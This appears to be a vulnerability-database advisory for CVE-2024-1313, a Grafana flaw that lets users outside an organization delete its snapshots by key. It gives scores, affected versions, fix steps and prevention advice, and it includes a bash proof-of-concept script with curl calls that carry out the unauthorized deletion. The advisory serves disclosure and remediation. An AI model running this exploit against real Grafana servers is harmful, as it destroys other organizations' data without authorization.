GHSA-67rv-qpw2-6qrr BIT-grafana-2024-1313 CVE-2024-1313 GO-2024-2697
Grafana: Users outside an organization can delete a snapshot with its key
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.65%
- Chance of exploitation in the next 30 days. Higher than 50.97% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-639 Authorization Bypass Through User-Controlled Key
- Fix
9.5.18- Upgrade github.com/grafana/grafana to this version or later
Description
Summary
The DELETE /api/snapshots/{key} endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot
Details
An attacker (a user without organization affiliation or with a "no basic role" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability. If an attacker is in the same organization of the dashboard snapshot, he can’t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw.
Screenshot 2024-01-19 at 3 50 23 PM
Precondition
To exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways.
When creating a snapshot through the API, users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as "customer_key_123" or "admin_snap" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity.
In addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization's content management system, messaging platform, or shared documents.
PoC
#!/bin/bash -x
# /snapshots/{key}: {'delete': {'success_status_code': 200, 'exec_paths': ['post /snapshots']}}
# 2d92c726-bf3c-4f20-b979-37bdf81d68c7
# Authentication stage
# User A - Grafana Admin
user_a_token="YWRtaW46YWRtaW4xMjM="
# User B - User with no permissions , which is not part of any org
user_b_token="YmJiOmJiYmJiYmJiYg=="
# Create snapshot
current_date=$(date +%Y-%m-%d-%H-%M-%S)
random_string="random-${current_date}"
snapshot_data='{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","snapshotData":[],"type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"fiscalYearStartMonth":0,"graphTooltip":0,"id":1517,"links":[],"liveNow":false,"panels":[{"aliasColors":{},"bars":false,"dashLength":10,"dashes":false,"datasource":null,"fill":1,"fillGradient":0,"gridPos":{"h":7,"w":24,"x":0,"y":0},"hiddenSeries":false,"id":4,"legend":{"alignAsTable":true,"avg":false,"current":true,"max":false,"min":false,"rightSide":true,"show":true,"total":false,"values":true},"lines":true,"linewidth":1,"links":[],"nullPointMode":"null","options":{"alertThreshold":true},"percentage":false,"pluginVersion":"10.2.3","pointradius":2,"points":false,"renderer":"flot","seriesOverrides":[],"snapshotData":[{"fields":[{"config":{},"name":"time","type":"time","values":[1704380420234,1704380420334,1704380420434,1704380420534,1704380420634,1704380420734,1704380420834,1704380566535,1704380566635,1704380566735,1704380566835,1704380566935,1704380567035,1704380567135,1704380567235,1704380567335,1704380567435,1704380567535,1704380567635,1704380567735,1704380567835,1704380567935,1704380568035,1704380568135,1704380568235,1704380568335,1704380568435,1704380568535,1704380568635,1704380568735,1704380568835,1704380568935,1704380569035,1704380569135,1704380569235,1704380569335,1704380569435,1704380569535,1704380569635,1704380569735,1704380569835,1704380569935,1704380570035,1704380570135,1704380570235,1704380570335,1704380570435,1704380570535,1704380570635,1704380570735,1704380570835,1704380570935,1704380571035,1704380571135,1704380571235,1704380571335,1704380571435,1704380571535,1704380571635,1704380571735,1704380571835,1704380571935,1704380572035,1704380572135,1704380572235,1704380572335,1704380572435,1704380572535,1704380572635,1704380572735,1704380572835,1704380572935,1704380573035,1704380573135,1704380573235,1704380573335,1704380573435,1704380573535,1704380573635,1704380573735,1704380573835,1704380573935,1704380574035,1704380574135,1704380574235,1704380574335,1704380574435,1704380574535,1704380574635,1704380574735,1704380574835,1704380574935,1704380575035,1704380575135,1704380575235,1704380575335,1704380575435,1704380575535,1704380575635,1704380575735,1704380575835,1704380575935,1704380576035,1704380576135,1704380576235,1704380576335,1704380576435,1704380576535,1704380576635,1704380576735,1704380576835,1704380576935,1704380577035,1704380577135,1704380577235,1704380577335,1704380577435,1704380577535,1704380577635,1704380577735,1704380577835,1704380577935,1704380578035,1704380578135,1704380578235,1704380578335,1704380578435,1704380578535,98.36651881887735,90.90520552302428,100.73967111022498,109.89826524946163,102.00960918579666,106.33530882778683,106.52629457166695,109.56323497328492,116.87832749309237,115.14116509660076,115.70457190523986,118.1091621354617,113.9144753018141,117.58351263310455,117.38409043570634,126.94212224196508,134.50552909930198,127.97490160986311,123.5784401639683,125.31012734609902,118.56171579412602,122.71596068271737,116.11258334902308,118.07532920254557,113.5755959893507,117.02863610131872,122.42991477107806,124.68121765645371,121.45599945829102,120.93643213038477,118.75961398984585,118.70214867496358,116.1085878323934,109.08837112411643,111.90652582288098,109.69360084697551,113.57752983270163,121.0455900847171,116.98257636596624,118.33231004235124,128.19430473604484,119.7539320116394,120.39948913692677,117.05787774775756,109.29564979026497,119.08806090022262,111.20930907183256,104.99629052804383,96.05550719780628,87.99845374253385,83.19203585736912,83.13916797842998,-70.53615047052016,-73.3850420187272]}],"meta":{},"refId":"A"}],"spaceLength":10,"stack":false,"steppedLine":false,"targets":[],"thresholds":[],"timeRegions":[],"title":"Simple dummy streaming example","tooltip":{"shared":true,"sort":0,"value_type":"individual"},"type":"graph","xaxis":{"mode":"time","show":true,"values":[]},"yaxes":[{"format":"short","logBase":1,"show":true},{"format":"short","logBase":1,"show":true}],"yaxis":{"align":false}}],"refresh":"","schemaVersion":39,"snapshot":{"timestamp":"2024-01-04T15:03:04.128Z"},"tags":[],"templating":{"list":[]},"time":{"from":"2024-01-04T15:02:08.132Z","to":"2024-01-04T15:03:08.132Z","raw":{"from":"now-1m","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Simple Streaming Example Snapshot","uid":"TXSTREZ","version":1,"weekStart":""},"name":"Simple Streaming Example Snapshot", "expires":0, "key":"admin_key"}'
create_snapshot_response=$(curl -s -X POST "http://localhost:3000/api/snapshots" -H "Authorization: Basic ${user_a_token}" -H "Content-Type: application/json" -d "${snapshot_data}")
# Extract key from create snapshot response
key=$(echo "$create_snapshot_response" | jq -r '.key')
# Delete snapshot
delete_snapshot_response=$(curl -s -X DELETE "http://localhost:3000/api/snapshots/${key}" -H "Authorization: Basic ${user_b_token}" -o /dev/null -w "%{http_code}")
# Check if the test passed
if [ "$delete_snapshot_response" -eq 200 ]; then
echo -e "\033[32mTest was passed, BOLA\033[0m"
fi
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/grafana/grafana | >= 9.5.0, < 9.5.18 |
9.5.18 |
| github.com/grafana/grafana | >= 10.0.0, < 10.0.13 |
10.0.13 |
| github.com/grafana/grafana | >= 10.1.0, < 10.1.9 |
10.1.9 |
| github.com/grafana/grafana | >= 10.2.0, < 10.2.6 |
10.2.6 |
| github.com/grafana/grafana | >= 10.3.0, < 10.3.5 |
10.3.5 |
| github.com/grafana/grafana | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/grafana/grafana Go → 9.5.18
- go
go get github.com/grafana/grafana@v9.5.18 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8pjx-jj86-j47p Grafana path traversal | High Known exploited | Also affects github.com/grafana/grafana |
| CVE-2021-39226 Authentication bypass for viewing and deletions of snapshots | High Known exploited | Also affects github.com/grafana/grafana |
| GHSA-3w66-95m3-8jxg Grafana: Pre-authentication denial of service in the public dashboard query handler | High | Also affects github.com/grafana/grafana |
| GHSA-9g84-39mm-q4p3 Grafana geomap panel's XYZ tile layer has a sanitize-then-interpolate ordering bug | Medium | Also affects github.com/grafana/grafana |
| GHSA-f74p-cwhp-x2wx Grafana Loki datasource plugin's callResource handler contains a path traversal vulnerability. | High | Also affects github.com/grafana/grafana |
| GHSA-9493-h4f5-633x Grafana: Path traversal in the Tempo and Loki data source plugins | Medium | Also affects github.com/grafana/grafana |
| GHSA-wfhv-mj62-f5xh Grafana: Users can generate Service Account tokens after permissions removal | High | Also affects github.com/grafana/grafana |
| GHSA-gxcp-jjxh-rwp4 Grafana: SQL Expressions Read File From Disk | Medium | Also affects github.com/grafana/grafana |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor